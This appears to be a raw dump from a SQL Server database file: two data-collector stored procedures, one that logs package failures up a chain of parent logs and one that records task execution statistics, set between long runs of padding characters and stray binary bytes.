!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<`X<ZaMm9'0:K 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onerror]
    @log_id bigint,
    @message nvarchar(2048) = NULL
AS
BEGIN
    SET NOCOUNT ON
    
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_event_onerror
    ELSE
        BEGIN TRANSACTION
    
    BEGIN TRY
    -- Check the log_id
    -- If @message is passed, we can allow to enter the error for a collection set
    -- otherwise we will rely on the entries in sysssislog table to get the error message.
    DECLARE @retVal INT
    IF (@message IS NULL)
    BEGIN
        EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id, 0
    END
    ELSE
    BEGIN
        EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id, 1
    END
    IF (@retVal <> 0)
        RETURN (@retVal)


    DECLARE
         @failure_message   NVARCHAR(2048)
        ,@execution_id        UNIQUEIDENTIFIER

    IF @message IS NULL 
    BEGIN
        -- If no message is provided, find the last task that has failed
        -- for this package in the sysssislog table.
        -- Store the message as the failure_message for our package log.
        SELECT 
            @execution_id = package_execution_id
        FROM dbo.syscollector_execution_log
        WHERE log_id = @log_id

        SELECT TOP 1 
            @failure_message = [message]
        FROM dbo.sysssislog
        WHERE executionid = @execution_id
            AND (UPPER([event] COLLATE SQL_Latin1_General_CP1_CS_AS) = 'ONERROR')
        ORDER BY endtime DESC
    END 
    ELSE 
    BEGIN
        -- Otherwise use the provided message
        SET @failure_message = @message
    END

    -- Update the execution log
    UPDATE dbo.syscollector_execution_log_internal SET
         [status] = 2                    -- Mark as Failed
        ,failure_message = @failure_message
    WHERE
        log_id = @log_id

    -- Update all parent logs with the failure status
    SELECT @log_id = parent_log_id FROM dbo.syscollector_execution_log_internal WHERE log_id = @log_id;
    WHILE @log_id IS NOT NULL
    BEGIN
        UPDATE dbo.syscollector_execution_log_internal SET
            [status] = 2                    -- Mark as Failed
        WHERE
            log_id = @log_id;

        -- get the next parent
        SELECT @log_id = parent_log_id FROM dbo.syscollector_execution_log_internal WHERE log_id = @log_id;
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_event_onerror

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)    
    END CATCH
END
0u@!L 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%`<0bDï0^L 8
CREATE PROCEDURE [dbo].[sp_syscollector_event_onstatsupdate]
    @log_id bigint,
    @task_name nvarchar(128),
    @row_count_in int = NULL,
    @row_count_out int = NULL,
    @row_count_error int = NULL,
    @execution_time_ms int = NULL
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    -- Check the log_id
    DECLARE @retVal INT
    EXEC @retVal = dbo.sp_syscollector_verify_event_log_id @log_id
    IF (@retVal <> 0)
        RETURN (@retVal)
    
    -- Check task name
    IF (@task_name IS NOT NULL)
    BEGIN
        SET @task_name = NULLIF(LTRIM(RTRIM(@task_name)), N'')
    END
    IF (@task_name IS NULL)
    BEGIN
        RAISERROR(14606, -1, -1, '@task_name')
        RETURN (1)
    END
    
    -- Insert the log entry
    INSERT INTO dbo.syscollector_execution_stats_internal (
        log_id,
        task_name,
        execution_row_count_in,
        execution_row_count_out,
        execution_row_count_errors,
        execution_time_ms,
        log_time
    ) VALUES (
        @log_id,
        @task_name,
        @row_count_in,
        @row_count_out,
        @row_count_error,
        NULLIF(@execution_time_ms, 0),
        GETDATE()
    )

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!